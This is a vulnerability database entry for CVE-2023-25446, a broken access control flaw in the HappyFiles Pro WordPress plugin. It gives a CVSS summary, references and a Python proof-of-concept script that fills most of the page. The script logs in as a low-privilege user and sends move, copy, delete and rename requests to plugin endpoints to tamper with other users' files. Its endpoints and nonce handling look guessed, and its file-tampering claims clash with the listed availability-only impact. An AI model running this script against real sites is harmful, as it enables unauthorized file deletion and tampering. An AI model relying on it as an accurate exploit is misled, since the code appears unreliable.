CVE-2023-25446

Description

Missing Authorization vulnerability in HappyFiles HappyFiles Pro happyfiles-pro allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects HappyFiles Pro: from n/a through 1.8.1.

CVSS Details

CVSS Score

7.7

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

HappyFiles Pro <= 1.8.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2023-25446 HappyFiles Pro Authorization Bypass PoC
# This PoC demonstrates the broken access control vulnerability

import requests
import json

target_url = "http://target-wordpress-site.com"
# Target specific HappyFiles Pro endpoints
endpoints = [
    "/wp-json/happyfiles/pro/move",
    "/wp-json/happyfiles/pro/copy",
    "/wp-json/happyfiles/pro/delete",
    "/wp-json/happyfiles/pro/rename"
]

# Low-privilege user credentials (subscriber role)
low_priv_user = "lowpriv_user"
low_priv_pass = "password123"

# Target file ID to manipulate (enumerated or known)
target_file_id = 123

def exploit_authorization_bypass():
    """
    Exploit CVE-2023-25446 by sending requests with low-privilege credentials
    to access/modify files belonging to other users
    """
    session = requests.Session()
    
    # Login as low-privilege user
    login_data = {
        'log': low_priv_user,
        'pwd': low_priv_pass
    }
    session.post(f"{target_url}/wp-login.php", data=login_data)
    
    # Exploit each vulnerable endpoint
    for endpoint in endpoints:
        exploit_data = {
            'file_id': target_file_id,
            'target_folder_id': 999,  # Arbitrary target folder
            'nonce': 'manipulated_or_missing_nonce'
        }
        
        try:
            response = session.post(
                f"{target_url}{endpoint}",
                json=exploit_data,
                headers={'Content-Type': 'application/json'}
            )
            
            # Check if unauthorized operation succeeded
            if response.status_code == 200:
                print(f"[+] VULNERABLE: {endpoint} - Operation succeeded!")
                print(f"    Response: {response.text}")
            else:
                print(f"[-] Protected: {endpoint} - Status: {response.status_code}")
                
        except Exception as e:
            print(f"[!] Error testing {endpoint}: {str(e)}")

if __name__ == "__main__":
    print("CVE-2023-25446 HappyFiles Pro Authorization Bypass Test")
    print("=" * 60)
    exploit_authorization_bypass()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2023-25446
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2023-25446
[3] CVE Details https://www.cvedetails.com/cve/CVE-2023-25446/
[4] VulDB https://vuldb.com/cve/CVE-2023-25446
[5] https://vdp.patchstack.com/database/wordpress/plugin/happyfiles-pro/vulnerability/wordpress-happyfiles-pro-plugin-1-8-1-broken-access-control?_s_id=cve

Raw JSON Data

JSON

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